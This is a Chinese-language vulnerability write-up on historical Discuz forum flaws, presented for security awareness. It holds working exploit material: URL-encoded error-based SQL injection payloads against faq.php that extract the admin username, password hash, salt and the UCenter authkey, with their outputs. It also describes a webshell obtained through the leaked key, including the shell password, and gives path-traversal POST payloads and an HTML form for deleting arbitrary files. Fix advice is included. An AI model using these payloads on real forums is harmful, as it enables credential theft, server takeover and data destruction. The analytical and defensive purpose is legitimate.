Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。
一、Discuz7.2 /faq.php sql注入
version: <= 7.2
0. 漏洞分析
漏洞发生在页面faq.php中148行,源码如下:
elseif($action == 'grouppermission'){ ... ksort($gids); $groupids = array(); foreach($gids as $row){ $groupids[] = $row[0]; } $query = $db->query("SELECT * FROM {$tablpre} usergoups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); }
首先对数组$gids按照其关键字进行升序操作,然后定义了一个数组,groupids,然后遍历gids数组,将gids数组的第0个元素取出,放入groupids中。,之后使用implodeids()函数生成一个字符串带入sql查询语句中。
为什么会出问题呢?
discuz在全局会对GET数组进行addslashes转义,也就是说会将 '
转义成 '
,所以,如果我们的传入的参数是:gids[1]= '
的话,会被转义成$gids[1]= '
,而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第0个字符,也就是 ,这样就会把转义符号取出来了。
此时, $groupids={'1','', '3', '4'}。
然后看implodeids()函数,在global.fanc.php文件中
function implodeids($array){ if(!empty($array)){ return "'".implode("','", is_array($array) ? $array:array($array))."'"; }else{ return ''; } }
就是把数组各个值使用 ,
连接到一起。
那么$groupids经过该函数之后就变为 '1','','3','4'
此时就出现了问题,因为第四个单引号由于左边的右斜杠存在而被强制转译为单引号字符。不会再与第三个单引号闭合,此时,第三个单引号将与第五个单引号形成闭合,3位置就出现了逃逸现象,此时构造3位置为payload即可形成注入。 3处输入右括号与前面进行封闭,然后and+一个新的查询语句即可。
eg:
1. 获取数据库版本信息
http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23
或
http://192.168.1.128:83/faq.php?action=grouppermission&gids[80]=%27&gids[81][0]=)%20and%20updatexml(1,concat(0x7e,(select%20@@version)),1)%23
输出: (去掉最后的 1
)
Discuz! info: MySQL Query Error Time: 2018-2-22 7:18pm Script: /faq.php SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#') Error: Duplicate entry '5.1.731' for key 'group_key' Errno.: 1062
或
Discuz! info: MySQL Query Error Time: 2018-2-22 7:19pm Script: /faq.php SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and updatexml(1,concat(0x7e,(select @@version)),1)#') Error: XPATH syntax error: '~5.1.73' Errno.: 1105
2. 爆出账号+密码+salt
http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20cdb_uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
输出:
Discuz! info: MySQL Query Error Time: 2018-2-22 7:22pm Script: /faq.php SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from [Table]uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#') Error: Duplicate entry 'admin:072477361d5e9b594814262dba9fb3e0:9b49971' for key 'group_key' Errno.: 1062
3. 获取key
由于authkey的长度限制,只能是62个长度单位,并且由于不能修改exp内容(修改后不能暴库),所以采用两次获取的的方法,先获取前62位,在获取后2位
1.获取前62个长度的key
1. http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
2.获取后2位key
http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
输出:
Discuz! info: MySQL Query Error Time: 2018-2-22 7:30pm Script: /faq.php SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from [Table]uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)#') Error: Duplicate entry '1:ZbkfKfD6F7gdL4M0QfLff4Vdua8210Lau19670t71bJ933G4s6V7hakeU3C3I7' for key 'group_key' Errno.: 1062 Similar error report has been dispatched to administrator before. Discuz! info: MySQL Query Error Time: 2018-2-22 7:31pm Script: /faq.php SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from [Table]uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)#') Error: Duplicate entry '1:p2:' for key 'group_key' Errno.: 1062 Similar error report has been dispatched to administrator before.
所以 key
的值为:ZbkfKfD6F7gdL4M0QfLff4Vdua8210Lau19670t71bJ933G4s6V7hakeU3C3I7p2
上述过程可写成脚本直接利用:https://github.com/b4zinga/Explib/blob/master/discuz.py
4. 利用uc_key拿shell
PHPphp uckeygetshell.php
- 输出结果:
PS E:Discuz> D:ProgramFilesphpStudyphpphp-5.4.45php.exe .getshell.php HTTP/1.1 200 OK Server: nginx/1.12.2 Date: Thu, 22 Feb 2018 14:48:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.3.3 1 1 0 HTTP/1.1 200 OK Server: nginx/1.12.2 Date: Thu, 22 Feb 2018 14:48:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.3.3 1 1 0
直接菜刀链接 http://192.168.1.128:83/config.inc.php
密码 DOM
5. 修复建议
1.直接删除faq.php文件。该文件为显示论坛帮助用的,功能相对独立,可以在服务器禁止该文件的访问,或者直接删除,对论坛常规功能没有任何影响。
2.修复faq.php查找 }elseif($action=='grouppermission'){
修改 $groups=$grouplist=array();
为 $groups=$grouplist=$gids=array();
即可。
6. reference
1. http://www.freebuf.com/vuls/37643.html2. 2.http://blog.csdn.net/yiyefangzhou24/article/details/36913287/3. 3.http://blog.csdn.net/u013473481/article/details/182526414. 4.https://github.com/b4zinga/Explib/blob/master/discuz.py
二、Discuz!X 任意文件删除
version: Discuz! X3.3、Discuz! X3.2、Discuz! X3.1、Discuz! X2.5
0. 漏洞分析
核心问题在 upload/source/include/spacecp/spacecp_profile.php
中
if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key])) { echo (getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } } }
发现 $_GET['deletefile']
没有任何处理, $space[$key]
来自:
$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');
所以我们需要在 $space
变量中找到一个存在需要被删除的文件的位置, 这里使用 birthprovince
我们第一次在
birthprovince
里加上我们要删除的文件然后保存资料, 下次我们提交$_GET['deletefile'][birthprovince]
, 那么$space[birthprovince]
指向的文件就会被删除.
也就是说,我们提交birthprovince为 ../../../robots.txt
保存完之后,数据库里的 $space['birthprovice']
会成为 ../../../robots.txt
,当我们提交 $_GET['deletefile'][birthprovince]
的时候,会去删除 $space['birthprovice']
指向的文件。
1. 利用过程
登陆后提交: birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0
(注意, 85cf7ef0
是你的formhash)。到 http://localhost/dx/home.php?mod=spacecp&ac=profile&op=base
,提示保存成功后,你的birthprovince就是 ../../../robots.txt
,产生的 $space['birthprovince']
就是 ../../../robots.txt
了。
接下来我们来进行参数的操作,提交: birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0
到 http://localhost/study/dx/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa
OK,文件就被顺利删除了。
2. 复现过程
准备
- 新建DZ账户test,选择个人资料页面
http://192.168.1.128/home.php?mod=spacecp&ac=profile
- 查看网页源代码,找到formhash对应的值: formhash=41543b82
- 在网站根目录新建test.txt文件,作为测试使用
a. 使用firefox hackbar插件, 向个人资料页面 http://192.168.1.128/home.php?mod=spacecp&ac=profile
POST发送数据 birthprovince=../../../test.txt&profilesubmit=1&formhash=41543b82
,然后刷新页面,如下所示:
b. 本地新建html表单
<form action="http://192.168.1.128/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <input type="text" name="formhash" value="41543b82"/></p> <input type="text" name="profilesubmit" value="1"/></p> <input type="submit" value="Submit" /> </from>
双击打开后,随便选择本地图片上传, 即可删除test.txt文件。
注:若上传失败,请重新刷新页面,找到formhash对应的值在表单中进行替换.因为每次刷新页面formhash对应的值都会改变.